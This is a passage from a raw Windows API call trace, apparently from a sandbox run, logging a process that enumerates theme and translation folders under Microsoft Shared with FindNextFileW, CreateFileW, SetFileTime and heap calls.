(in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.788] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.788] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.788] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.788] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.788] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.788] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9186b0 [0242.788] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91dee8 [0242.788] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.788] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.ELM", cAlternateFileName="")) returned 1 [0242.788] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.788] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.788] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.789] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9186d0 [0242.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91ed58 [0242.789] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.789] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 1 [0242.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.789] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.789] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9186f0 [0242.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91ee60 [0242.789] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.789] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 0 [0242.789] GetLastError () returned 0x12 [0242.789] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.789] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.789] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.789] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.789] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.789] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.ELM", cAlternateFileName="")) returned 1 [0242.789] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 1 [0242.790] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 0 [0242.790] GetLastError () returned 0x12 [0242.790] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.790] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.790] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.790] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.790] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0242.790] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.790] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0242.790] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.790] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x920c00 [0242.790] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x920c00, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x920c00, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.790] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x920c00) returned 1 [0242.790] NtClose (Handle=0x1b0) returned 0x0 [0242.791] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.791] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.791] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.791] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.791] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.791] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91ef68 [0242.791] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.791] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.791] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.791] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.791] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.791] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.791] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.791] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.791] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91f070 [0242.791] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0242.791] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918710 [0242.791] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91f178 [0242.791] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.791] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.791] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.792] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.792] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.792] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.792] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.792] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918730 [0242.792] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91f280 [0242.792] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.792] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1 [0242.792] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.792] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.792] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.792] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.792] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.792] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918750 [0242.792] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91f388 [0242.792] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.792] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1 [0242.792] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.792] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.792] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.792] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.792] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.792] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918770 [0242.792] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91f490 [0242.792] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.792] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0 [0242.793] GetLastError () returned 0x12 [0242.793] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.793] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.793] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.793] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.793] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.793] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1 [0242.793] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1 [0242.793] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0 [0242.793] GetLastError () returned 0x12 [0242.793] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91ef68) returned 1 [0242.793] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.793] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91f070) returned 1 [0242.793] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.793] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0242.793] GetLastError () returned 0x12 [0242.793] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0242.793] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0242.793] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0242.793] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0242.794] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0242.794] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0242.794] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT" (normalized: "c:\\program files\\common files\\microsoft shared\\translat"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT" (normalized: "c:\\program files\\common files\\microsoft shared\\translat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0242.807] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0242.807] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x920c00 [0242.807] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x920c00, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x920c00, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0242.807] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x920c00) returned 1 [0242.807] NtClose (Handle=0x1b8) returned 0x0 [0242.807] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0242.807] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0242.807] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0242.807] 